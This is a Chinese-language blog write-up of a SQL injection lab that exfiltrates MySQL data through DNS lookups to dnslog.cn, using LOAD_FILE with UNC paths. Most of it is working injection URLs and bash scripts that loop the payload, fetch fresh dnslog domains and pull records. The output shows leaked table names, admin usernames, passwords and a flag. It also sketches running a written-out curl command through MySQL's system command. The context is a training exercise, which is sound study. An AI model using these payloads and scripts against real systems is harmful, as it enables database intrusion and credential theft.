dnslog 带外实现
依赖 UNC , 因此只能在 Windows 下利用
利用 DNS 记录不存在时向上查询的工作模式实现带外***
不支持 load_file('http://host:port/1.txt') 模式, 否则用不着 dns 了。
OOB 带外中心思想
将本地数据 select ...
通过触发器 load_file( ... )
将结果传递到外部(含文件)xx.dnslog.cn
0x00 先说结论
0x00.1 dnslog
结果只会缓存 10 个, 超过 10 个将被轮训掉。
两个请求接口, 使用 --cookie PHPSESSID=$md5sha 关联
3 . 返回结果是一个 [][]string 的结构, 不能直接被 golang json unmarshal, 需要额外构造一下
[["9ilzri.dnslog.cn","58.217.249.149","2020-12-10 23:50:32"]]
4 . 有长度限制, 具体多长没探究。 hex() 之后过长, 可能导致无结果。
0x00.2 MySQL NULL
记住一点 NULL 是黑洞,任何与 NULL 组合的结果都是 NULL 。
mysql> select length(NULL);
-- | NULL |
mysql> select hex(NULL);
-- | NULL |
mysql> select concat(NULL,'.123123');
-- | concat(NULL,'.123123') |
0x00.3 MySQL 自查询与函数
不太好总结
concat() 返回的已经是一个字符串了, 因此,不需要在外层再加一次 单引号 。
load_file(str) 可以不需要与 select 互用执行。
使用 select 查询结果, 记得在外层加括号, 构建自查询 (select ...)
括号 太多, 注意闭合
0x01 探测注入点
探测是否存在 SQL 注入漏洞。虽然说肯定有, 但是还是多写一下 UNION 语句。
http://vulhub.example.com:8022/dns/?id=1%20and%201=2%20union%20select%201,2
## 位置为 2
0x02 Web渗 透, 从入门到放弃
工具插件: chrome extension: hackbar
0x02.1 测试是否可以利用 dnslog 并获取当前库名
首先来构建语句
-- dbname
select database();
-- concat
select CONCAT('//', database(), '.719da4.dnslog.cn/1.txt') ;
-- load_file
SELECT LOAD_FILE(CONCAT('//', database(), '.719da4.dnslog.cn/1.txt')) ;
执行漏洞利用
http://vulhub.example.com:8022/dns/?id=1 AND LOAD_FILE(CONCAT('//', database(), '.pewhvo.dnslog.cn/1.txt'))
# maoshe.pewhvo.dnslog.cn
0x02.2 误入歧途
为什么这么说呢,因为之前在 封神台 上做了几个错误注入 和 盲注 的靶场。重点来了: 错误注入 和 盲注 的靶场 FLAG 都是单独放了一张表的,都叫 xxflag。那还不手到擒来, 于是在悲剧开始了 …
构造语句
-- 查询有多少 column 包含 flag
select count(*) from information_schema.columns where column_name like '%flag%' ;
-- concat
select concat('//',(select count(*) from information_schema.columns where column_name like '%flag%'),'.w24iu8.dnslog.cn/1.txt') ;
-- load_file
select load_file( concat('//',(select count(*) from information_schema.columns where column_name like '%flag%'),'.w24iu8.dnslog.cn/1.txt') ) ;
dnslog oob
http://vulhub.example.com:8022/dns/?id=1 AND load_file( concat('//',(select count(*) from information_schema.columns where column_name like '%flag%'),'.w24iu8.dnslog.cn/1.txt') )
# 8.w24iu8.dnslog.cn
WEB ***公共小作坊就开始了。无数个语句平凑, 无数次失落与心酸。不知道多久过去了, 反正一个天真的孩子在歧路上越走越远 不行了, 太变态了, 第一节就搞这么复杂。
0x02.3 是不是我想的太复杂了
按照道理说, 第一节不应该这么复杂啊。要不就在本地库上找找?
0x02.3.1 原始文明到农耕文明
由于靶场没有鉴权, 因此开始使用 shell script 进行半手工操作。
#!/bin/bash
DNSLOG=".maoshe-admin.xxx.dnslog.cn"
SQL=" SELECT SQL STATEMENT "
curl ${SESSION} -sL "http://vulhub.example.com:8022/dns/?id=1 AND LOAD_FILE(CONCAT('//',( ${SQL} ),'${DNSLOG}/1.txt')) " > /dev/null
1. 查询表明
-- 查询 库名与表明
select hex(group_concat(table_name)) from information_schema.tables ;
-- 61646d696e2c6e657773.jnwdsn.dnslog.cn
-- => admin,news
2. 查询字段
-- 查询字段命令
select hex(group_concat(column_name)) from information_schema.columns where table_schema='maoshe' and table_name='admin';
-- id,username,password
3. 查询账户密码
这里同时查询两个字段,这里使用 concat 而不是 group_concat
hex() 16禁止编码可能会操作 dnslog 的长度限制导致无法拿到结果。
-- 查询账户密码
select hex(concat(username,'___',password)) from maoshe.admin limit 1,1 ;
-- => admin123___123admin
-- => test___test123
变态啊, 居然还不行, 这题刁钻, 太刁钻了
是的,没错。 不知道什么原因,我只执行了 2 次 。这就是一切 惨案 的源头。
0x02.3.2 蒸汽时代,甩开膀子干
使用 Chrome 开发者工具 分析了一下 DNSLOG 的请求规则。升级了工具。
每次请求申请一个域名是因为受过的伤太多。
要 sleep 1 是怕被封。
#!/bin/bash
#
for i in $(seq 0 33)
do
{
# 生成 dnslog 域名
md5sha=$(date | md5)
SESSION="--cookie PHPSESSID=$md5sha"
DOMAIN=$(curl -s ${SESSION} http://dnslog.cn/getdomain.php )
DNSLOG=".${i}.${DOMAIN}"
SQL=" YOUR SQL STATMENT "
curl ${SESSION} -sL "http://vulhub.example.com:8022/dns/?id=1 AND LOAD_FILE(CONCAT('//',( ${SQL} ),'${DNSLOG}/1.txt')) " > /dev/null
# 获取结果
curl -sL ${SESSION} http://dnslog.cn/getrecords.php | jq '.[0][0]'
sleep 1
}
done
不知不觉就开始开始拖 库咯。研究 布尔盲注 的时候,把语句都撸了一遍。
查询 MYSQL 数据库 系统库名、表名、字段名 SQL语句
0x03 事情总归还是要一个结果
#!/bin/bash
#
for i in $(seq 0 33)
do
{
# 生成 dnslog 域名
md5sha=$(date | md5)
SESSION="--cookie PHPSESSID=$md5sha"
DOMAIN=$(curl -s ${SESSION} http://dnslog.cn/getdomain.php )
DNSLOG=".${i}.${DOMAIN}"
# 构造 SQL 语句
SQL=" select hex(concat(username,'___',password)) from maoshe.admin limit ${i},1 "
# 利用
curl ${SESSION} -sL "http://vulhub.example.com:8022/dns/?id=1 AND LOAD_FILE(CONCAT('//',( ${SQL} ),'${DNSLOG}/1.txt')) " > /dev/null
# DNSLOG 获取结果
curl -sL ${SESSION} http://dnslog.cn/getrecords.php | jq '.[0][0]'
sleep 1
}
done
# "61646d696e3132335f5f5f31323361646d696e.0.jcjikx.dnslog.cn"
# "746573745f5f5f74657374313233.1.w4n5xa.dnslog.cn"
# "666c61675f5f5f466c61472d626975626975.2.ugvzim.dnslog.cn"
0x04 Linux 的 MySQL 带外探究
因为在 mysql 命令行 能执行以下语句。
select 1=1 ; system ls ;
因此想在 linux 下也测试 OOB 带外。
设想如下
select 'curl http://host:port/:dbname/:tablename/1,2,3,4' INTO OUTFILE '/var/lib/mysql-files/1.txt'
system bash /var/lib/mysql-files/1.txt
而事实上,由于 JDBC 与 ORM 的存在, 应该不可能实现这种方式带外方式。而且我都能执行 bash 了, 反弹不更方便 ?
虽然没实现,作为一种尝试和想法也算好的。
当时的顿悟
注意 : 连接 mysql 语句的 除了关键字(AND / OR / UNION) 之外, 还有结束符号 分号 ;
1 . 重要思想, 不要有 定势思维误区
0xGG 参考文章
MySQL SELECT INTO Variable
MySQL 使用 SELECT 查询系统变量
MysQL 使用 INTO OUTFILE 存储位置
MySQL hex and unhex
MySQL 使用 system 命令提权限
MySQL 查询系统表
mysql-dnslog注入 - 应用环境
Dnslog在SQL注入中的实战 - 实现原理
0xGG.1 dnslog.cn golang sdk
捎带手, 搞了一个 golang 的 sdk
dnslogcn-sdk